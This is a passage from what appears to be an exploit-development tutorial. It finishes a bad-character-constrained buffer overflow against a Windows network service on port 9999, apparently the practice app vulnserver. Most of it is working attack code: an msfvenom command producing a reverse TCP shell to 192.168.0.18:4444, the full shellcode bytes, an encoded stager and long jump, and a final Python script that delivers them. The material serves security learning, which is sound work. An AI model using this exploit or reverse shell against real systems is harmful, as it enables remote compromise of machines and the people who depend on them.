    b'\x5c' +                   # POP ESP
    # Make EAX = '909080eb'
    b'\x25\x50\x50\x4A\x50' +   # AND EAX,504A5050
    b'\x25\x2A\x2A\x30\x2A' +   # AND EAX,2A302A2A
    b'\x05\x75\x40\x48\x48' +   # ADD EAX,48484075
    b'\x05\x76\x40\x48\x48' +   # ADD EAX,48484076
    b'\x50' +                   # PUSH EAX
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
    # This will trigger our stager
    fd.recv(1024)

And check it:

Stager success

Weeeh! Now to finish, we can create our shellcode and insert it on our side channel created by the stager. As we now control the recv() call, we are not limited by the bad chars! Let’s do that:

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -f python -v SHELL
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1660 bytes
SHELL =  b""
SHELL += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
SHELL += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
SHELL += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
SHELL += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
SHELL += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
SHELL += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
SHELL += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
SHELL += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
SHELL += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
SHELL += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
SHELL += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
SHELL += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
SHELL += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
SHELL += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
SHELL += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
SHELL += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
SHELL += b"\x00\x12\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
SHELL += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
SHELL += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
SHELL += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
SHELL += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
SHELL += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
SHELL += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
SHELL += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
SHELL += b"\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6"
SHELL += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
SHELL += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

Update our exploit:

import socket
import struct
import time

HOST = '192.168.0.20'
PORT = 9999

LONG_JUMP  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'

STAGER  = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d'
STAGER += b'\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25'
STAGER += b'\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46'
STAGER += b'\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f'
STAGER += b'\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50'
STAGER += b'\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e'
STAGER += b'\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a'
STAGER += b'\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51'
STAGER += b'\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24'
STAGER += b'\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a'
STAGER += b'\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28'
STAGER += b'\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a'
STAGER += b'\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50'
STAGER += b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d'
STAGER += b'\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50'

SHELL =  b""
SHELL += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
SHELL += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
SHELL += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
SHELL += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
SHELL += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
SHELL += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
SHELL += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
SHELL += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
SHELL += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
SHELL += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
SHELL += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
SHELL += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
SHELL += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
SHELL += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
SHELL += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
SHELL += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
SHELL += b"\x00\x12\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
SHELL += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
SHELL += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
SHELL += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
SHELL += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
SHELL += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
SHELL += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
SHELL += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
SHELL += b"\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6"
SHELL += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
SHELL += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

# Create STAGE2 with the shellcode and pad the rest of the
# 1024 buffer with NOPs
STAGE2 = SHELL + b'\x90' * (1024 - len(SHELL))

PAYLOAD = (
    b'LTER .' +
    b'A' * 16 +
    b'\x54' +               # PUSH ESP
    b'\x58' +               # POP EAX
    b'\x66\x2d\x01\x0b' +   # SUB AX,0x0b01
    b'\x50' +               # PUSH EAX
    b'\x5c' +               # POP ESP
    STAGER +
    b'A' * (3554 - 4 - 79 - 16 - 8 - len(STAGER)) +
    # Align stack for our long jump
    b'\x54' +           # PUSH ESP
    b'\x58' +           # POP EAX
    b'\x2c\x30' +       # SUB AL,30
    b'\x50' +           # PUSH EAX
    b'\x5c' +           # POP ESP
    LONG_JUMP +
    b'A' * (79 - 6 - len(LONG_JUMP)) +   # Fill the rest of our buffer with A
    # JNZ SHORT +0x10: Will jump if ZF is 1
    b'\x75\x08' +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b'\x74\x06' +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack('<L', 0x6250172B) +
    b'C' * 2 +
    # Align stack pointer
    b'\x54' +                   # PUSH ESP
    b'\x58' +                   # POP EAX
    b'\x66\x05\x53\x14' +       # ADD AX,0x1453
    b'\x50' +                   # PUSH EAX
    b'\x5c' +                   # POP ESP
    # Make EAX = '909080eb'
    b'\x25\x50\x50\x4A\x50' +   # AND EAX,504A5050
    b'\x25\x2A\x2A\x30\x2A' +   # AND EAX,2A302A2A
    b'\x05\x75\x40\x48\x48' +   # ADD EAX,48484075
    b'\x05\x76\x40\x48\x48' +   # ADD EAX,48484076
    b'\x50' +                   # PUSH EAX
    b'C' * (4000 - 3554 - 4)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
    # This will trigger our stager
    fd.recv(1024)
    time.sleep(3)
    fd.sendall(STAGE2)

And check if we got a shell:

Success

Wonderful! It was easy, isn’t it? No, it was not, but we learned a lot!

You can download the final exploit here.

Conclusion

Dealing with bad chars when exploiting is very common. Generally, encoders from known tools like msfvemon will help us to overcome those restrictions, but there are some picky applications that will make us drive the extra mile, but it’s worth it.

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